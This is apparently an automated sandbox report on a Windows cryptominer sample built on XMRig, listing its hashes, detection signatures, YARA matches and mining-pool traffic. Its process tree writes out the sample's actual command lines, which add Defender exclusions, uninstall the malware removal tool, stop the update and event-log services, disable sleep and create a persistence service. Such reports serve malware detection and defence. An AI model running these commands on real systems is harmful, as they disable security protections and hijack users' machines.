Edit tour

Windows Analysis Report
nlGOh9K5X5.exe

Overview

General Information

Sample name:	nlGOh9K5X5.exe renamed because original name is a hash value
Original sample name:	aca4c0d0dc6f260200ea503a5ce8b370f482044253613142efcdebe5fd92a9f3.exe
Analysis ID:	1570395
MD5:	6369ad2a31d25fa131268f312b0c9d03
SHA1:	3560bbb24d688b8356615077ff8509d3fb438e05
SHA256:	aca4c0d0dc6f260200ea503a5ce8b370f482044253613142efcdebe5fd92a9f3
Tags:	exeuser-Chainskilabs
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Connects to a pastebin service (likely for C&C)

DNS related to crypt mining pools

Found strings related to Crypto-Mining

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses powercfg.exe to modify the power settings

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

nlGOh9K5X5.exe (PID: 6664 cmdline: "C:\Users\user\Desktop\nlGOh9K5X5.exe" MD5: 6369AD2A31D25FA131268F312B0C9D03)

powershell.exe (PID: 6708 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2120 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 6328 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 3336 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5172 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6300 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5216 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6976 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6908 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6812 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6784 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2536 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5808 cmdline: C:\Windows\system32\sc.exe delete "HZIWFEGQ" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7056 cmdline: C:\Windows\system32\sc.exe create "HZIWFEGQ" binpath= "C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6832 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 984 cmdline: C:\Windows\system32\sc.exe start "HZIWFEGQ" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mfpmikspvfzi.exe (PID: 7108 cmdline: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe MD5: 6369AD2A31D25FA131268F312B0C9D03)

powershell.exe (PID: 3916 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5800 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 560 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 7152 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7056 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6860 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5652 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5004 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7032 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7104 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3916 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6784 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 2756 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 6808 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000003A.00000003.1824324601.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.1786548179.00000000005B3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.1824408272.0000000000600000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.1824354802.000000000060B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.3137522381.000000000060B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000002.4158665690.00000000005DD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.1823929141.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000002.4158665690.0000000000585000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.1824391843.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.1824376543.0000000000628000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000002.4158665690.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.1823776260.0000000000632000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.2965773416.000000000060B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.2747475402.000000000060B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.2860263171.000000000060B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.1824439592.00000000005DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000002.4158665690.0000000000549000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003A.00000003.1823817242.00000000005EA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x36fe08:$a1: mining.set_target 0x362030:$a2: XMRIG_HOSTNAME 0x3649a8:$a3: Usage: xmrig [OPTIONS] 0x362008:$a4: XMRIG_VERSION
00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3b5561:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3b5dd8:$s1: %s/%s (Windows NT %lu.%lu 0x3b9400:$s3: \\.\WinRing0_ 0x366fa8:$s4: pool_wallet 0x3613d8:$s5: cryptonight 0x3613e8:$s5: cryptonight 0x3613f8:$s5: cryptonight 0x361408:$s5: cryptonight 0x361420:$s5: cryptonight 0x361430:$s5: cryptonight 0x361440:$s5: cryptonight 0x361458:$s5: cryptonight 0x361468:$s5: cryptonight 0x361480:$s5: cryptonight 0x361498:$s5: cryptonight 0x3614a8:$s5: cryptonight 0x3614b8:$s5: cryptonight 0x3614c8:$s5: cryptonight 0x3614e0:$s5: cryptonight 0x3614f8:$s5: cryptonight 0x361508:$s5: cryptonight 0x361518:$s5: cryptonight
Process Memory Space: mfpmikspvfzi.exe PID: 7108	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: mfpmikspvfzi.exe PID: 7108	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x89873b:$a1: mining.set_target 0x894e63:$a2: XMRIG_HOSTNAME 0x895c55:$a3: Usage: xmrig [OPTIONS] 0x894e44:$a4: XMRIG_VERSION
Process Memory Space: explorer.exe PID: 6808	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 21 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
33.3.mfpmikspvfzi.exe.243209b0000.2.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
33.3.mfpmikspvfzi.exe.243209b0000.2.raw.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x36fe08:$a1: mining.set_target 0x362030:$a2: XMRIG_HOSTNAME 0x3649a8:$a3: Usage: xmrig [OPTIONS] 0x362008:$a4: XMRIG_VERSION
33.3.mfpmikspvfzi.exe.243209b0000.2.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3b5561:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
33.3.mfpmikspvfzi.exe.243209b0000.2.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3b5dd8:$s1: %s/%s (Windows NT %lu.%lu 0x3b9400:$s3: \\.\WinRing0_ 0x366fa8:$s4: pool_wallet 0x3613d8:$s5: cryptonight 0x3613e8:$s5: cryptonight 0x3613f8:$s5: cryptonight 0x361408:$s5: cryptonight 0x361420:$s5: cryptonight 0x361430:$s5: cryptonight 0x361440:$s5: cryptonight 0x361458:$s5: cryptonight 0x361468:$s5: cryptonight 0x361480:$s5: cryptonight 0x361498:$s5: cryptonight 0x3614a8:$s5: cryptonight 0x3614b8:$s5: cryptonight 0x3614c8:$s5: cryptonight 0x3614e0:$s5: cryptonight 0x3614f8:$s5: cryptonight 0x361508:$s5: cryptonight 0x361518:$s5: cryptonight
33.3.mfpmikspvfzi.exe.243209b0000.2.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
33.3.mfpmikspvfzi.exe.243209b0000.2.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x36f008:$a1: mining.set_target 0x361230:$a2: XMRIG_HOSTNAME 0x363ba8:$a3: Usage: xmrig [OPTIONS] 0x361208:$a4: XMRIG_VERSION
33.3.mfpmikspvfzi.exe.243209b0000.2.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3b4761:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
33.3.mfpmikspvfzi.exe.243209b0000.2.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3b4fd8:$s1: %s/%s (Windows NT %lu.%lu 0x3b8600:$s3: \\.\WinRing0_ 0x3661a8:$s4: pool_wallet 0x3605d8:$s5: cryptonight 0x3605e8:$s5: cryptonight 0x3605f8:$s5: cryptonight 0x360608:$s5: cryptonight 0x360620:$s5: cryptonight 0x360630:$s5: cryptonight 0x360640:$s5: cryptonight 0x360658:$s5: cryptonight 0x360668:$s5: cryptonight 0x360680:$s5: cryptonight 0x360698:$s5: cryptonight 0x3606a8:$s5: cryptonight 0x3606b8:$s5: cryptonight 0x3606c8:$s5: cryptonight 0x3606e0:$s5: cryptonight 0x3606f8:$s5: cryptonight 0x360708:$s5: cryptonight 0x360718:$s5: cryptonight
Click to see the 3 entries

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\nlGOh9K5X5.exe", ParentImage: C:\Users\user\Desktop\nlGOh9K5X5.exe, ParentProcessId: 6664, ParentProcessName: nlGOh9K5X5.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 6908, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\nlGOh9K5X5.exe", ParentImage: C:\Users\user\Desktop\nlGOh9K5X5.exe, ParentProcessId: 6664, ParentProcessName: nlGOh9K5X5.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 6708, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "HZIWFEGQ" binpath= "C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "HZIWFEGQ" binpath= "C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\nlGOh9K5X5.exe", ParentImage: C:\Users\user\Desktop\nlGOh9K5X5.exe, ParentProcessId: 6664, ParentProcessName: nlGOh9K5X5.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "HZIWFEGQ" binpath= "C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe" start= "auto", ProcessId: 7056, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\nlGOh9K5X5.exe", ParentImage: C:\Users\user\Desktop\nlGOh9K5X5.exe, ParentProcessId: 6664, ParentProcessName: nlGOh9K5X5.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 6708, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\nlGOh9K5X5.exe", ParentImage: C:\Users\user\Desktop\nlGOh9K5X5.exe, ParentProcessId: 6664, ParentProcessName: nlGOh9K5X5.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 6832, ProcessName: sc.exe

Suricata Signatures

ET MALWARE SilentCryptoMiner Agent Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T22:46:13.687422+0100	2054247	1	A Network Trojan was detected	172.67.19.24	443	192.168.2.4	49731	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe

ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: nlGOh9K5X5.exe

ReversingLabs: Detection: 73%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 33.3.mfpmikspvfzi.exe.243209b0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.mfpmikspvfzi.exe.243209b0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000003A.00000003.1824324601.00000000005DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.1786548179.00000000005B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.1824408272.0000000000600000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.1824354802.000000000060B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.3137522381.000000000060B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000002.4158665690.00000000005DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.1823929141.00000000005EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000002.4158665690.0000000000585000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.1824391843.00000000005DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.1824376543.0000000000628000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000002.4158665690.00000000005E4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.1823776260.0000000000632000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.2965773416.000000000060B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.2747475402.000000000060B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.2860263171.000000000060B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.1824439592.00000000005DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000002.4158665690.0000000000549000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000003A.00000003.1823817242.00000000005EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mfpmikspvfzi.exe PID: 7108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6808, type: MEMORYSTR

DNS related to crypt mining pools

Source: unknown

DNS query: name: xmr-eu1.nanopool.org

Found strings related to Crypto-Mining

Source: mfpmikspvfzi.exe, 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
